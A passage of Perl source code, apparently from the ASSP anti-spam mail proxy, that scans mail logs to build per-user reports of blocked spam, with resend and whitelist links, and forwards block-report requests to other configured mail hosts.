                $toRe = BlockReportFormatAddr(@to);
                foreach (@to) {
                    $exceptRe{lc $_} = $exceptRe if ($exceptRe);
                }
            } else {
                $toRe = quotemeta( $this->{mailfrom} );
                @to = ($this->{mailfrom});
                $exceptRe{lc $this->{mailfrom}} = $exceptRe if ($exceptRe);
            }
        }
    } elsif ($this->{mailfrom}) {
        if( $GroupRE{lc $this->{mailfrom}} ) {
            @to = map {s/^\s+//o;s/\s+$//o;$_;} split(/\|/o,$GroupRE{lc $this->{mailfrom}});
            $toRe = BlockReportFormatAddr(@to);
            foreach (@to) {
                $exceptRe{lc $_} = $exceptRe if ($exceptRe);
            }
        } else {
            $toRe = quotemeta( $this->{mailfrom} );
            @to = ($this->{mailfrom});
            $exceptRe{lc $this->{mailfrom}} = $exceptRe if ($exceptRe);
        }
    }
    if ( !$toRe && !$fromRe ) {
        mlog( 0, "error: BlockReport is unable to parse for a valid report address" );
        return;
    }
    local $/ = "\n";
    my ( $date, $day, $gooddays, $address, $faddress );

    my ( $logdir, $logdirfile ) = $logfile =~ /^(.*[\/\\])?(.*?)$/o;
    my @logfiles; @logfiles = sort glob("$base/$logdir*b$logdirfile") if ($ExtraBlockReportLog && ! $fromRe);
    unless (@logfiles) {
        my @logfiles1 = sort glob("$base/$logdir*$logdirfile");
        while (@logfiles1) {
            my $k = shift @logfiles1;
            push(@logfiles, $k) if $k !~ /b$logdirfile/;
        }
    }

    my $time = Time::HiRes::time();
    my $dayoffset = $time % ( 24 * 3600 );
    my $sdate;
    for ( my $i = 0 ; $i < $numdays + 1 ; $i++ ) {
        $gooddays .= '|' if ( $i > 0 );
        $day = &timestring( $time - $i * 24 * 3600 , 'd');
        $sdate .= "'$day', ";
        $gooddays .= quotemeta($day);
    }
    my $timeformat = $LogDateFormat;
    my $dateformat = $LogDateFormat;
    $dateformat =~ s/[^YMD]*(?:hh|mm|ss)[^YMD]*//go;
    $timeformat =~ s/$dateformat//go;
    $timeformat =~ s/h|m|s/\\d/go;

    chop $sdate; chop $sdate;
    mlog( 0, "info: search dates are: $sdate" ) if $MaintenanceLog >= 2 or $ReportLog >= 2;
    undef $day;
    my $lines;
    my $numfiles;
    my $FLogFile;
    my $bytes;
    my %ignoreAddr;
    my $runtime = time;
    &matchSL(\@to,'BlockResendLinkLeft',1);
    &matchSL(\@to,'BlockResendLinkRight',1);
    
    if ($ReportLog > 2) {
        mlog(0,"info: BlockReport global filter: $exceptRe");
        while (my ($k,$v) = each %exceptRe) {
            mlog(0,"info: BlockReport filter list: '$k' = '$v'");
        }
    }
    
    while (my $File  = shift @logfiles) {
        next if ( ( ftime($File) + $numdays * 24 * 3600 ) <= ( $time - $dayoffset ) );
        if ( !(open( $FLogFile, '<', "$File" )) ) {
            sleep 2;
            if ( !(open( $FLogFile, '<', "$File" )) ) {
                mlog( 0,
"warning: report is possibly incomplete, because ASSP is unable to open logfile $File"
                ) if $ReportLog;
                $buser->{sum}{html} .=
"<br />\nwarning: report is possibly incomplete, because ASSP is unable to open logfile $File";
                $buser->{sum}{text} .=
"\r\nwarning: report is possibly incomplete, because ASSP is unable to open logfile $File";
                next;
            }
        }
        mlog( 0, "info: searching in logfile $File" ) if $MaintenanceLog >= 2 or $ReportLog >= 2;
        $numfiles++;
        my $fl;
        my $start = time;
        while ( $fl = <$FLogFile> ) {
            if ($BlockMaxSearchTime && time - $start > $BlockMaxSearchTime) {
                mlog(0,"warning: blockreport search in file $File has taken more than 3 minutes - skip the file") if $ReportLog;;
                $buser->{sum}{html} .=
"<br />\nwarning: report is possibly incomplete, because ASSP was skipping some parts of logfile $File";
                $buser->{sum}{text} .=
"\r\nwarning: report is possibly incomplete, because ASSP was skipping some parts of logfile $File";
                last;
            }
            $bytes += length($fl);
            $fl =~ s/\r*\n//go;
            $lines++;
            $address  = '';
            $faddress = '';
            unless (   $toRe
                    && ( ( $date, $address ) = $fl =~ /^($gooddays) .*?\s$IPRe[ \]].*?\sto:\s($toRe)\s\[\s*spam\sfound\s*\]/i)
                   )
            {
                next unless (   $fromRe
                             && ( ( $date, $faddress ) =  $fl =~ /^($gooddays) .*?\s$IPRe[\]]?\s<($fromRe)>/i)
                            );
            }
            if ($address) {
                next if ( $fl =~ m/local\sor\swhitelisted|message\sok/io )
                     || ( $fl =~ m/no\sbad\sattachments/io )
                     || ( $fl =~ m/\[testmode\]/io && ! $allTestMode)
                     || ( $fl =~ m/\[local\]/io )
                     || ( $fl =~ m/\[whitelisted\]/io )
                     || ( $fl =~ m/\[noprocessing\]/io )
                     || ( $fl =~ m/\[lowconfidence\]/io )
                     || ( $fl =~ m/\[tagmode\]/io )
                     || ( $fl =~ m/\[trap\]/io )
                     || ( $fl =~ m/\[collect\]/io )
                     || ( $fl =~ m/\[sl\]/io )
                     || ( $fl =~ m/\[spamlover\]/io )
                     || ( $fl =~ m/\[lowlimit\]/io )
                     || ( $fl =~ m/\[warning\]/io );
                my $match = 0;
                foreach my $re (keys %exceptRe) {
                    if (eval{$address =~ /$re/i;}) {
                        $match = $re;
                        last;
                    }
                }
                if ($match) {
                    if ($fl =~ m/$exceptRe{$match}/i) {
                        my $s = (++$buser->{lc($address)}{filtercount} > 1) ? 's' : '';
                        $buser->{lc($address)}{filter} = $buser->{lc($address)}{filtercount}." line$s skipped on defined filter regex '$exceptRe{$match}'";
                        next;
                    }
                } else {
                    my @res;
                    if ($BlockReportFilter && ((@res) = $fl =~ /($BlockReportFilterRE)/g)) {
                        my $nres = $res[0];
                        unless (scalar @res == 1
                                && $address =~ /\Q$nres\E/i
                                && ! grep(/\*/o,@to)
                               )
                        {
                            my $s = (++$buser->{lc($address)}{filtercount2} > 1) ? 's' : '';
                            $buser->{lc($address)}{filter2} = $buser->{lc($address)}{filtercount2}." line$s skipped on global defined filter regex 'BlockReportFilter'";
                            next;
                        }
                    }
                }
                $fl =~ s/\sto:\s(?:$toRe)//i;
            } else {    # $faddress is OK
                $address = $faddress;
            }

            my $is_admin = 0;
            $is_admin = 1 if $isadmin == 1;
            $is_admin = 1
              if ($isadmin eq 'user' &&
                  (matchSL( $address, 'EmailAdmins', 1 )
                   or lc( $address ) eq lc($EmailAdminReportsTo)
                   or lc( $address ) eq lc($EmailBlockTo)
                  )
                 );
            if (! $is_admin && ! $faddress && ! &localmail($address)) {
                mlog(0,"info: BlockReport ignoring $address - address is not a valid local mail address") if $ReportLog >= 2 && ! $ignoreAddr{ lc($address) };
                $ignoreAddr{ lc($address) } = 1;
                next;
            }
            my $addWhiteHint = (   ($autoAddResendToWhite > 1 && $isadmin)
                                or ($autoAddResendToWhite && $autoAddResendToWhite != 2 && ! $isadmin)
                               ) ? '%5Bdo%20not%5D%20autoadd%20sender%20to%20whitelist' : '';

            my $filename;
            $filename = $1 if $fl =~ s/\-\>\s*([^\r\n]+\Q$maillogExt\E)//;
            $filename =~ s/\\/\//go;

            my $addFileHint = (   $correctednotspam
                               && $DelResendSpam
                               && $isadmin
                               && $filename =~ /\/$spamlog\//
                              ) ? '%5Bdo%20not%5D%20move%20file%20to%20'.$correctednotspam : '';
            $addFileHint = '%2C' . $addFileHint if $addFileHint && $addWhiteHint;

            my $abase = $base;
            $abase    =~ s/\\/\//go;
            $filename =~ s/^$abase[\\|\/]*//o;
            $fl       =~ s/\s+\[worker_\d+\]//io;
            $fl       =~ s/\s*;\s*$//o;
            $fl =~ s/(\d\d:\d\d:\d\d)\s$uniqueIDPrefix*\-*\d{5}\-\d{5}/$1/i
              unless $faddress;

            my $rawline = $fl;
            my $line;
            if ($LogCharset =~ /^utf-?8/io) {
                $line = &encodeHTMLEntities($fl);
            } else {
                $line = &encHTMLent(\$fl);
            }

            $fl = Encode::encode('utf-8', $fl) if $fl && $LogCharset && $LogCharset !~ /^utf-?8/io;
            $fl =~ s{([\x80-\xFF])}{sprintf("=%02X", ord($1))}eog;

            if ( !exists $buser->{ lc($address) }{bgcolor} ) {
                $buser->{ lc($address) }{bgcolor} = '';
            }
            $buser->{ lc($address) }{bgcolor} =
              $buser->{ lc($address) }{bgcolor} eq ' class="odd"'
              ? ''
              : ' class="odd"';
            my $bgcolor = $buser->{ lc($address) }{bgcolor};

            if ( $filename && -e "$base/$filename" ) {
                if (! $faddress && ! $NotGreedyWhitelist) {
                    my ($rs,$foundbody) = &BlockReportGetFrom("$base/$filename",\$rawline);
                    $line .= '<span class=\"addr\">&nbsp;<br /></span>' . $rs if ($rs) ;
                    $filename = '' unless $foundbody;
                }
            }
            if ( $filename && -e "$base/$filename" ) {
                my ($ofilename) = $filename =~ /^(.+)\Q$maillogExt\E$/;
                $ofilename =~ s{([^0-9a-zA-Z])}{sprintf("x%02XX", ord($1))}eog;
                $ofilename = 'RSBM_' . $ofilename . $maillogExt;

                $filename =~ s{([^a-zA-Z0-9])}{sprintf("%%%02X", ord($1))}eog;
                $this->{isadmin} = (matchSL( $this->{mailfrom}, 'EmailAdmins') or $this->{mailfrom} && lc $this->{mailfrom} eq lc $EmailAdminReportsTo);
                if ( $inclResendLink == 1 or $inclResendLink == 3 ) {
                    push( @{ $buser->{ lc($address) }{text} },
"\r\n$fl\r\nTo get this email, send an email to:  mailto:$ofilename$EmailBlockReportDomain\r\n" .
($is_admin ? "to open the mail use:   $prot:\/\/$host:$webAdminPort\/edit?file=$filename\&note=m\&showlogout=1\r\n" : '')
                    );
                } else {
                    push( @{ $buser->{ lc($address) }{text} }, "\r\n$fl\r\n" );
                }
        
                if ( $inclResendLink == 2 or $inclResendLink == 3 ) {
                    $line =~
s/($gooddays)($timeformat)/<span class="date"><a href="$prot:\/\/$host:$webAdminPort\/edit?file=$filename&note=m&showlogout=1" target="_blank" title="open this mail in the assp fileeditor">$1$2<\/a><\/span>/ if $is_admin;
                    $line =~
s/($IPRe)/my$e=$1;($e!~$IPprivate)?"<span class=\"ip\"><a href=\"$prot:\/\/$host:$webAdminPort\/ipaction?ip=$e\&showlogout=1\" target=\"_blank\" title=\"take an action via web on ip $e\">$e<\/a><\/span>":$e;/goe if $is_admin;
                    $line =~
s/($EmailAdrRe\@$EmailDomainRe)/<a href="mailto:$EmailWhitelistAdd$EmailBlockReportDomain\?subject=add\%20to\%20whitelist&body=$1\%0D\%0A" title="add this email address to whitelist" target="_blank">$1<\/a>/go
                      if (! $faddress && ! $is_admin);
                    $line =~
s/($EmailAdrRe\@$EmailDomainRe)/<a href="mailto:$EmailWhitelistAdd$EmailBlockReportDomain\?subject=add\%20to\%20whitelist&body=$1\%0D\%0A" title="add this email address to whitelist" target="_blank">$1<\/a>&nbsp;<a href="$prot:\/\/$host:$webAdminPort\/addraction?address=$1&showlogout=1" target="_blank" title="on address $1 ">\+<\/a>/go
                      if (! $faddress && $is_admin);


                	$line =~ s/\[spam found\]/<br \/><span class="spam">spam reason: <\/span>/;
                	$line =~ s/(\<br \/>\<span class="spam"\>spam reason: \<\/span\>\[blocked\])(.+)(\Q$subjectStart\E.+?\Q$subjectEnd\E)/$3/o if !$is_admin;

                    my $leftbut = '<a href="mailto:'.$EmailBlockReport.$EmailBlockReportDomain.'?subject=request%20ASSP%20to%20resend%20blocked%20mail%20from%20ASSP-host%20'.$myName.'&body=%23%23%23'.$filename.'%23%23%23'.$addWhiteHint.$addFileHint.'%0D%0A" class="reqlink" target="_blank" title="request ASSP on '.$myName.' to resend this blocked email"><img src=cid:1000 alt="request ASSP on '.$myName.' to resend this blocked email"> Resend </a>';
                    my $rightbut = '<a href="mailto:'.$ofilename.$EmailBlockReportDomain.'?&subject=request%20ASSP%20to%20resend%20blocked%20mail%20from%20ASSP-host%20'.$myName.'" class="reqlink" target="_blank" title="request ASSP on '.$myName.' to resend this blocked email"><img src=cid:1000 alt="request ASSP on '.$myName.' to resend this blocked email"> Resend </a>';
                    $rightbut = '' if (&matchSL(\@to,'BlockResendLinkLeft') or
                                             ($BlockResendLink == 1 && ! matchSL(\@to,'BlockResendLinkRight')));
                    $leftbut = '' if (&matchSL(\@to,'BlockResendLinkRight') or
                                             ($BlockResendLink == 2 && ! matchSL(\@to,'BlockResendLinkLeft')));
                    $line =~ s/^(.+\)\s*)(\Q$subjectStart\E.+?\Q$subjectEnd\E.*)$/$1<br\/><strong>$2<\/strong>/ unless $faddress;
                    $line =~ s/(.*)/\n<tr$bgcolor>\n<td class="leftlink">$leftbut\n<\/td>\n<td class="inner">$1\n<\/td>\n<td class="rightlink">$rightbut\n<\/td>\n<\/tr>/o;
                    push( @{ $buser->{ lc($address) }{html} }, $line);
                } else {
                	$line =~ s/\[spam found\]/<br \/><span class="spam">spam reason: <\/span>/;
                	$line =~ s/(\<br \/>\<span class="spam"\>spam reason: \<\/span\>\[blocked\])(.+)(\Q$subjectStart\E.+?\Q$subjectEnd\E)/$3/o if !$is_admin;

                    $line =~
s/($IPRe)/my$e=$1;($e!~$IPprivate)?"<span class=\"ip\"><a href=\"$prot:\/\/$host:$webAdminPort\/ipaction?ip=$e\&showlogout=1\" target=\"_blank\" title=\"take an action via web on ip $e\">$e<\/a><\/span>":$e;/goe if $is_admin;
                    $line =~
s/($EmailAdrRe\@$EmailDomainRe)/<a href="mailto:$EmailWhitelistAdd$EmailBlockReportDomain\?subject=add\%20to\%20whitelist&body=$1\%0D\%0A" title="add this email address to whitelist" target="_blank">$1<\/a>/go
                      if (! $faddress && ! $is_admin);
                    $line =~
s/($EmailAdrRe\@$EmailDomainRe)/<a href="mailto:$EmailWhitelistAdd$EmailBlockReportDomain\?subject=add\%20to\%20whitelist&body=$1\%0D\%0A" title="add this email address to whitelist" target="_blank">$1<\/a>&nbsp;<a href="$prot:\/\/$host:$webAdminPort\/addraction?address=$1&showlogout=1" target="_blank" title="take an action via web on address $1 ">\+<\/a>/go
                      if (! $faddress && $is_admin);
                    $line =~ s/^(.+\)\s*)(\Q$subjectStart\E.+?\Q$subjectEnd\E.*)$/$1<br\/><strong>$2<\/strong>/ unless $faddress;
                    $line =~ s/(.*)/\n<tr$bgcolor>\n<td class="leftlink">&nbsp;\n<\/td>\n<td class="inner">$1\n<\/td>\n<td class="rightlink">&nbsp;\n<\/td>\n<\/tr>/o;
                    push( @{ $buser->{ lc($address) }{html} }, $line );
                }
            } else {
                push( @{ $buser->{ lc($address) }{text} }, "\r\n$fl\r\n");
                $line =~ s/\[spam found\]/<br \/><span class="spam">spam reason: <\/span>/;
                $line =~ s/(\<br \/>\<span class="spam"\>spam reason: \<\/span\>\[blocked\])(.+)(\Q$subjectStart\E.+?\Q$subjectEnd\E)/$3/o if !$is_admin;

                $line =~
s/($IPRe)/my$e=$1;($e!~$IPprivate)?"<span class=\"ip\"><a href=\"$prot:\/\/$host:$webAdminPort\/ipaction?ip=$e\&showlogout=1\" target=\"_blank\" title=\"take an action via web on ip $e\">$e<\/a><\/span>":$e;/goe if $is_admin;
                $line =~
s/($EmailAdrRe\@$EmailDomainRe)/<a href="mailto:$EmailWhitelistAdd$EmailBlockReportDomain\?subject=add\%20to\%20whitelist&body=$1\%0D\%0A" title="add this email address to whitelist" target="_blank">$1<\/a>/go
                  if (! $faddress && ! $is_admin);
                $line =~
s/($EmailAdrRe\@$EmailDomainRe)/<a href="mailto:$EmailWhitelistAdd$EmailBlockReportDomain\?subject=add\%20to\%20whitelist&body=$1\%0D\%0A" title="add this email address to whitelist" target="_blank">$1<\/a>&nbsp;<a href="$prot:\/\/$host:$webAdminPort\/addraction?address=$1&showlogout=1" target="_blank" title="take an action via web on address $1 ">\+<\/a>/go
                  if (! $faddress && $is_admin);
                $line =~ s/^(.+\)\s*)(\Q$subjectStart\E.+?\Q$subjectEnd\E.*)$/$1<br\/><strong>$2<\/strong>/ unless $faddress;
                $line =~ s/(.*)/\n<tr$bgcolor>\n<td class="leftlink">&nbsp;\n<\/td>\n<td class="inner">$1\n<\/td>\n<td class="rightlink">&nbsp;\n<\/td>\n<\/tr>/o;

                push( @{ $buser->{ lc($address) }{html} }, $line );
            }
        }
        close $FLogFile;
    }
    while ( my ($ad,$v) = each %$buser ) {
        next if ( $ad eq 'sum' );
        push( @{ $buser->{$ad}{html} }, "\n</table>\n<br />\n");
        delete $buser->{$ad}{bgcolor};
        if (exists $buser->{$ad}{filtercount}) {
            push( @{ $buser->{$ad}{html} },"<br />\n".$buser->{$ad}{filter}."<br />\n");
            push( @{ $buser->{$ad}{text} },"\r\n\r\n".$buser->{$ad}{filter}."\r\n");
            $buser->{$ad}{correct}--;
        }
        if (exists $buser->{$ad}{filtercount2}) {
            push( @{ $buser->{$ad}{html} },"<br />\n") unless exists $buser->{$ad}{filtercount};
            push( @{ $buser->{$ad}{html} },$buser->{$ad}{filter2}."<br />\n");
            push( @{ $buser->{$ad}{text} },"\r\n\r\n") && $buser->{$ad}{correct}-- unless exists $buser->{$ad}{filtercount};
            push( @{ $buser->{$ad}{text} },$buser->{$ad}{filter2}."\r\n");
            $buser->{$ad}{correct}--;
        }
        delete $buser->{$ad}{filter};
        delete $buser->{$ad}{filtercount};
        delete $buser->{$ad}{filter2};
        delete $buser->{$ad}{filtercount2};
    }
    $bytes                    = formatDataSize( $bytes, 1 );
    $runtime                  = time - $runtime;
    $buser->{sum}{mimehead}     = $mimehead;
    $buser->{sum}{mimebot}      = $mimebot;
    $buser->{sum}{textparthead} = $textparthead;
    $buser->{sum}{htmlparthead} = $htmlparthead;
    $buser->{sum}{htmlhead}     = $htmlhead;

    my ($t10html,$t10text);
    if ($DoT10Stat && $isadmin == 1) {
        ($t10html,$t10text) = T10StatOut();
        my $ire = qr/^(?:$IPRe|[\d\.]+)$/o;
        $t10html =~ s/((?:$EmailAdrRe\@)?$EmailDomainRe)/my$e=$1;($e!~$ire)?"<a href=\"$prot:\/\/$host:$webAdminPort\/addraction?address=$e\&showlogout=1\" target=\"_blank\" title=\"take an action via web on address $e\">$e<\/a>":$e/goe;
        $t10html =~ s/($IPRe)/my$e=$1;($e!~$IPprivate)?"<a href=\"$prot:\/\/$host:$webAdminPort\/ipaction?ip=$e\&showlogout=1\" target=\"_blank\" title=\"take an action via web on ip $e\">$e<\/a>":$e;/goe;
    }
    if ( matchSL( $this->{mailfrom}, 'EmailAdmins', 1 )
        or lc( $this->{mailfrom} ) eq lc($EmailAdminReportsTo)
        or lc( $this->{mailfrom} ) eq lc($EmailBlockTo) )
    {
        $buser->{sum}{html} .= $t10html . "<br />\n" . &needEs($lines, ' line','s') . " with $bytes analysed in " .
            &needEs($numfiles,' logfile','s') . " on host $myName in $runtime seconds - running ASSP version $MAINVERSION<br />\n";
        $buser->{sum}{text} .= $t10text . "\r\n\r\n" . &needEs($lines, ' line','s') . " with $bytes analysed in " .
            &needEs($numfiles,' logfile','s') . " on host $myName in $runtime seconds - running ASSP version $MAINVERSION\r\n";
    }
    $buser->{sum}{html} .= "</body>\n</html>\n";
    return;
}


sub BlockReportFormatAddr {
    return join('|', map {s/([^*]+)\@/quotemeta($1).'@'/oe;
                          s/\@([^*]+)/'@'.quotemeta($1)/oe;
                          s/\@/\\@/;
                          s/\*(\\\@)/$EmailAdrRe$1/o;
                          s/\@\*/\@$EmailDomainRe/o;
                          $_;} @_);
}

sub BlockReportGetFrom {
    my ($fn,$fl) = @_;
    my $res;
    my $foundbody;
    my $headerseen;
    return unless (open my $F,'<' ,"$fn");
    while (<$F>) {
        s/\r|\n//go;
        $headerseen = 1 if (! $_);  # header only
        if ($headerseen && $_) {
            $foundbody = 1;
            last;
        }
        my ($tag,$adr);
        ($tag,$adr) = ($1,$2) if /^(from|sender|reply-to|errors-to|list-\w+:)[^\r\n]*?($EmailAdrRe\@$EmailDomainRe)/io;
        next unless ($tag && $adr);
        next if $$fl =~ /\Q$adr\E/i;
        $tag = &encHTMLent(\$tag);
        $adr = &encHTMLent(\$adr);
        $res .= '<br /><span class="addr">'. $tag . '&nbsp;&nbsp;' . $adr . '</span>';
    }
    close $F;
    $res .= '<br /><small>no message body received</small>' unless $foundbody;
    return ($res,$foundbody);
}

# wrap long html lines in BlockReport
sub BlockReportHTMLTextWrap {
    my $line=shift;
    d('BlockReportHTMLTextWrap');
    return unless $line;

    $line =~ s/\r//go;
    $line =~ s/ +/ /go;
	eval {return MIME::QuotedPrint::encode($line);};
}
sub BlockReport {
    my ( $fh, $l ) = @_;
    my $this = $Con{$fh};
    if ( $l =~ /^ *DATA/io || $l =~ /^ *BDAT (\d+)/io ) {
        if ($1) {
            $this->{bdata} = $1;
        } else {
            delete $this->{bdata};
        }
        $this->{getline} = \&BlockReportBody2Q;
        my $report = 'blocked email report';
        sendque( $fh, "354 OK Send $report body\r\n" );
        $this->{lastcmd} = 'DATA';
        push( @{ $this->{cmdlist} }, $this->{lastcmd} ) if $ConnectionLog >= 2;
        return;
    } elsif ( $l =~ /^ *RSET/io ) {
        stateReset($fh);
        $this->{getline} = \&getline;
        sendque( $this->{friend}, "RSET\r\n" );
        $this->{lastcmd} = 'RSET';
        push( @{ $this->{cmdlist} }, $this->{lastcmd} ) if $ConnectionLog >= 2;
        return;
    } elsif ( $l =~ /^ *QUIT/io ) {
        stateReset($fh);
        $this->{getline} = \&getline;
        sendque( $this->{friend}, "QUIT\r\n" );
        $this->{lastcmd} = 'QUIT';
        push( @{ $this->{cmdlist} }, $this->{lastcmd} ) if $ConnectionLog >= 2;
        return;
    } elsif ( $l =~ /^ *XEXCH50 +(\d+)/io ) {
        d("XEXCH50 b=$1");
        sendque( $fh, "504 Need to authenticate first\r\n" );
        $this->{lastcmd} = 'XEXCH50';
        push( @{ $this->{cmdlist} }, $this->{lastcmd} ) if $ConnectionLog >= 2;
        return;
    }
    sendque( $fh, "250 OK\r\n" );
}

sub BlockReportForwardRequest {
    my ($fh, $host) = @_;
    my $this = $Con{$fh};
    d("BlockReportForwardRequest - $host");
    
    if ( $BlockRepForwHost && ! $CanUseNetSMTP ) {
        mlog(0,"error: unable to forward blocked mail request - module Net::SMTP is not installed and/or enabled") if $ReportLog;
        return;
    }
    
    if ( $BlockRepForwHost && $CanUseNetSMTP ) {
        my $smtp;
        my $MTA;
        my $MTAip;
        my $port;
        my $ip;
        my $hostip;
        my $fwhost = $BlockRepForwHost;

        $host =~ s/\s//go;
        if ($host && $host !~ /$IPRe/o ) {
            eval {
                my $pip = gethostbyname($host);
                if ( defined $pip ) {
                    $hostip = inet_ntoa($pip);
                }
            };
            mlog( 0,"info: forwarding blocked mail request - resolved ip $hostip for host $host") if $ReportLog >= 2;
        }

        if ( ($hostip && $BlockRepForwHost =~ /\s*(\Q$hostip\E)\s*:\s*(\d+)\s*/i) or
             ($host && $BlockRepForwHost =~ /\s*(\Q$host\E)\s*:\s*(\d+)\s*/i) ) {
                $fwhost = "$1:$2";
                mlog( 0,"info: got forwarding blocked mail request from $this->{mailfrom} to host $fwhost") if $ReportLog >= 2;
        }

        foreach $MTA ( split( /\|/o, $fwhost ) ) {
            $MTA =~ s/\s//go;
            ( $MTAip, $port ) = split( /\:/o, $MTA );
            if ( $MTAip !~ /$IPRe/o ) {
                eval {
                    my $pip = gethostbyname($MTAip);
                    $ip = inet_ntoa($pip) if ( defined $pip );
                };
            }
            $MTAip = $ip ? $ip : $MTAip;
            if ( $this->{ip} eq $MTAip or $this->{cip} eq $MTAip ) {
                mlog( 0,"info: skip forwarding blocked mail request from $this->{mailfrom} to host $MTA - request comes from this host")
                  if $ReportLog >= 2;
                next;
            }
            eval {
                $smtp = Net::SMTP->new(
                    $MTA,
                    Hello   => $myName,
                    Timeout => 120 # 120 is the default in Net::SMTP
                );
                if ($smtp) {
                    $smtp->mail( $this->{mailfrom} );
                    $smtp->to( $this->{rcpt} );
                    $smtp->data();
                    my $timeout = (int(length($this->{header}) / (1024 * 1024)) + 1) * 60; # 1MB/min
                    my $blocking = $smtp->blocking(0);
                    my $data = $this->{header};
                    $data =~ s/\.[\r\n]+$//o;
                    NoLoopSyswrite($smtp, $data, $timeout);
                    $smtp->blocking($blocking);
                    $smtp->dataend();
                    $smtp->quit;
                }
            };
            if ( $smtp && !$@ ) {
                mlog( 0,"info: forwarded blocked mail request from $this->{mailfrom} to host $MTA") if $ReportLog >= 2;
            } else {
                mlog( 0,"error: unable to forward blocked mail request from $this->{mailfrom} to host $MTA - $@") if $ReportLog;
            }
        }
    }
}

sub BlockReportBody2Q {
    my ( $fh, $l ) = @_;
    my $this = $Con{$fh};
    my $host;
    d('BlockReportBody2Q');

    $this->{header} .= $l;
    if ( $l =~ /^\.[\r\n]/o || defined( $this->{bdata} ) && $this->{bdata} <= 0 )
    {
        if ( !$CanUseEMM ) {
            mlog( 0,"info: module Email::MIME is not installed and/or enabled - local blockreport is impossible") if $ReportLog;
            BlockReportForwardRequest($fh,$host);
            stateReset($fh);
            $this->{getline} = \&getline;
            sendque( $this->{friend}, "RSET\r\n" );
            return;
        }
        my $parm = "$this->{mailfrom}\x00$this->{rcpt}\x00$this->{ip}\x00$this->{cip}\x00$this->{header}";
         mlog( 0,"info: send blocked mail request from $Con{$fh}->{mailfrom}")
          if $ReportLog >= 2 or $MaintenanceLog;
        &BlockReportFromQ($parm );

        $Email::MIME::ContentType::STRICT_PARAMS = 0;    # no output about invalid CT
        my $email = Email::MIME->new($this->{header});
        my $sub = $email->header("Subject") || '';    # get the subject of the email
        $sub =~ s/\r?\n//go;

        ($host) = $sub =~ /ASSP\-host\s+(.*)/io;
        $host =~ s/\s//go;

        BlockReportForwardRequest($fh,$host) if ( lc($myName) ne lc($host) );

        stateReset($fh);
        $this->{getline} = \&getline;
        sendque( $this->{friend}, "RSET\r\n" );
    }
}

sub BlockReportGenSched {
    my ($filename) = $BlockReportFile =~ /file:(.+)/io;
    return unless $filename;
    $filename = "$base/$filename";
    (open my $brfile,'<' ,"$filename") or return;
    while (<$brfile>) {
        s/#.*//o;
        s/[\r\n]//og;
        next unless $_;
        my ($ad, $bd, $cd, $dd, $ed) = split(/=>/o,$_);
        next unless $ed;
        BlockReportAddSched($_);
    }
    close $brfile;
}

sub BlockReportAddSched {
    my $parm = shift;
    $parm =~ s/#.*//o;
    my ($ad, $bd, $cd, $dd, $ed) = split(/=>/o,$parm);
    addSched($ed,'BlockReportFromSched',"BlockReport","$ad=>$bd=>$cd=>$dd");
}

sub BlockReportFromSched {
    my $parm = shift;
    open( my $tmpfh, '<', \$parm );
    $Con{$tmpfh}= {};
    BlockReportGen( '1', $tmpfh );
    delete $Con{$tmpfh};
}

sub BlockReportFromQ {
    my $parm = shift;
    my $fh = Time::HiRes::time();    # a dummy $fh for a dummy $Con{$fh}
    $Con{$fh} = {};

    (   $Con{$fh}->{mailfrom},
        $Con{$fh}->{rcpt},
        $Con{$fh}->{ip},
        $Con{$fh}->{cip},
        $Con{$fh}->{header}
    ) = split( /\x00/o, $parm );
    $Con{$fh}->{blqueued} = 1;
    mlog( 0,"info: processing  blocked mail request from $Con{$fh}->{mailfrom}")
      if $ReportLog >= 2 or $MaintenanceLog;
    &BlockReportBody( $fh, ".\r\n" );
    delete $Con{$fh};
}

sub BlockReportBody {
    my ( $fh, $l ) = @_;
    my $this = $Con{$fh};
    my $sub;
    my $host;
    my %resendfile = ();
    my $forcelist;    # $this->{blqueued} is set, if V2 has queued
                      # the report to MaintThread
    my $BlModify;
    d('BlockReportBody');
    if (eval('use BlockReport::modify; BlockReport::modify::modify(); 1;')) {
        mlog(0,"info: BlockReport will call the module BlockReport::modify to make your custom changes") if $ReportLog > 1;
        $BlModify = \&BlockReport::modify::modify;
    } else {
        mlog(0,"info: BlockReport was unable to call the module BlockReport::modify - $@") if $ReportLog > 2;
        $BlModify = sub {return shift;};
    }
    $EmailBlockReportDomain = '@' . $EmailBlockReportDomain
      if $EmailBlockReportDomain !~ /^\@/o;
    eval {
        $this->{header} .= $l unless $this->{blqueued};
        if ( $l =~ /^\.[\r\n]/o
            || defined( $this->{bdata} ) && $this->{bdata} <= 0 )
        {

            if ( !$CanUseEMM ) {
                mlog( 0,"info: module Email::MIME is not installed and/or enabled - local blockreport is impossible") if $ReportLog;
                BlockReportForwardRequest($fh,$host);
                stateReset($fh);
                $this->{getline} = \&getline;
                sendque( $this->{friend}, "RSET\r\n" );
                return;
            }
            matchSL( $this->{mailfrom}, 'EmailAdmins' );
            $Email::MIME::ContentType::STRICT_PARAMS =  0;    # no output about invalid CT
            my $email = Email::MIME->new($this->{header});
            $sub = $email->header("Subject") || '';    # get the subject of the email
            $sub =~ s/\r?\n//go;
            $sub =~ s/\s+/ /go;

            #        mlog(0,"subject: $sub");
            ($host) = $sub =~ /ASSP\-host\s+(.*)/io;
            $host =~ s/\s//go;

            #       mlog(0,"host: $host");
            foreach my $part ( $email->parts ) {
                my $body = $part->body;

                #           mlog(0,"BODY:\n$body\n");
                my $preline;
                foreach my $line ( split( /\n/o, $body ) ) {
                    $line =~ s/\r?\n//go;
                    $line      = decodeHTMLEntities($line);
                    my $restrict;
                    my $requdom;
                    $forcelist = 1
                      if (
                        $line =~ /^\s*(\[?$EmailAdrRe|\*)\@($EmailDomainRe\]?|\*)\s*\=\>/o
                        && ($requdom = "$1\@$2")
                        && (   matchSL( $this->{mailfrom}, 'EmailAdmins', 1 )
                            or lc( $this->{mailfrom} ) eq lc($EmailAdminReportsTo)
                            or lc( $this->{mailfrom} ) eq lc($EmailBlockTo) )
                      );

                    if (   $forcelist
                        && ($restrict = $EmailAdminDomains{lc $this->{mailfrom}})
                        && $requdom
                        && $requdom !~ /$restrict/i)
                    {
                        mlog(0,"warning: the EmailAdmin '$this->{mailfrom}' has requested a not allowed BlockReport - $line");
                        return;
                    }

                    
                    if ( ( $line =~ /###/o or $preline ) && $line !~ /###/o )
                    {
                        $preline .= $line;
                        next;
                    }
                    if ($preline) {
                        $line    = $preline . $line;
                        $preline = '';
                    }
                    my ($fname,$special) = $line =~ /###(.*)?###(.*)$/o;
                    if ($fname) {
